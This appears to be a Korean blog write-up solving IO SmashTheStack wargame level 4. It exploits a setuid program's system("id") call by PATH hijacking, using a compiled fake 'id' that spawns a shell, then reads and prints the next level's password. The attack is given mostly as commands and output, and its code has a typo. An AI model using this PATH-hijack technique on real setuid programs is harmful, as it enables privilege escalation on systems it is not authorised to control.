level4@io:~$ cd /levels
level4@io:/levels$ ./level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)
프로그램을 실행하니 id 명령어가 실행되는것 같습니다.
level4@io:/levels$ id
uid=1004(level4) gid=1004(level4) groups=1004(level4),1029(nosu)
level4@io:/levels$ cat level04.c
#include <stdlib.h>
int main() {
system("id"); // 리눅스 명령어 id 를 실행한다.
return 0;
}
이 문제는 리눅스 시스템에 대한 지식이 있으신분들이라면 쉽게 풀었을겁니다.
바로 환경변수를 이용해 문제를 풀 수 있습니다.
리눅스에서는 위 처럼 id 이렇게 명령어를 전달해주면 먼저 해당 리눅스에 설치되어있는 쉘에서
쉘의 명령어인지 확인을 한다고 합니다. 그리고 나서 특정폴더안에 명시되어있는, 선언되어있는 폴더 안의
명령어 인지 확인을 하는데 그 특정폴더를 PATH 환경변수라고 합니다.
그러면 먼저 PATH 환경변수를 확인해보겠습니다
level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games
(왼쪽에서 오른쪽으로 읽으며, : 으로 구별한다)
그러면 id 명령어는 /usr/local/bin /usr/bin /bin /usr/games 여기 중 한 곳에 있다는 것이다.
왼쪽에서 오른쪽으로 읽는데 단순히 읽는다는것만이 아니고 프로그램을 실행하는데 우선순위또한 왼쪽에서
오른쪽이다. 예를들어 /home/path2 : /home/path1 가 있고 두 폴더 모두 id 파일을 가지고 있다고 친다면
id 명령어를 실행하면 왼쪽에 있는 /home/path2 폴더안의 id 명령어 파일이 실행될것이다.
이 같은 점을 이용하면 문제를 풀 수 있다.
먼저 우리가 하라는 행동을 하게끔 id 명령어 파일을 만들어야한다.
level4@io:/levels$ cd /tmp
level4@io:/tmp$ mkdir xodnr
level4@io:/tmp$ cd xodnr
level4@io:/tmp/xodnr$ ls
level4@io:/tmp/xodnr$ vi she.c
#include<stdio.h>
int main(void)
{
setreuid(1005.1005);
system("/bin/sh");
return 0;
}
level4@io:/tmp/xodnr$ gcc -o id she.c
level4@io:/tmp/xodnr$ export PATH="/tmp/xodnr:/usr/local/bin:/usr/bin:/bin:/usr/games"
// 환경변수 추가 명령어
level4@io:/tmp/xodnr$ env // 유저 사용자환경을 확인하는 명령어
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=59.30.43.27 3803 22
SSH_TTY=/dev/pts/8
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/xodnr:/usr/local/bin:/usr/bin:/bin:/usr/games // 성공적으로 입력됬다.
PWD=/tmp/xodnr
SHLVL=5
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=59.30.43.27 3803 192.168.1.32 22
_=/usr/bin/env
자, 그러면 이제 프로그램을 실행하면 선언되어 있는 많은 폴더 중
제일 왼쪽에 있는 /tmp/xodnr 이 디렉토리의 id 명령어 파일을 참조해 실행할것이고
쉘이 뜰것이다.
level4@io:/tmp/xodnr$ /levels/level04
sh-4.1$ cat /home/level5/.pass
RAhK8VOfcVYV
문제를 성공적으로 풀었다.
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] IO SmashTheStack Level6 문제풀이 (0) | 2011.08.14 |
---|---|
[BOF-Wargames] IO SmashTheStack Level5 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level3 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level2 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level1 문제풀이 (1) | 2011.08.11 |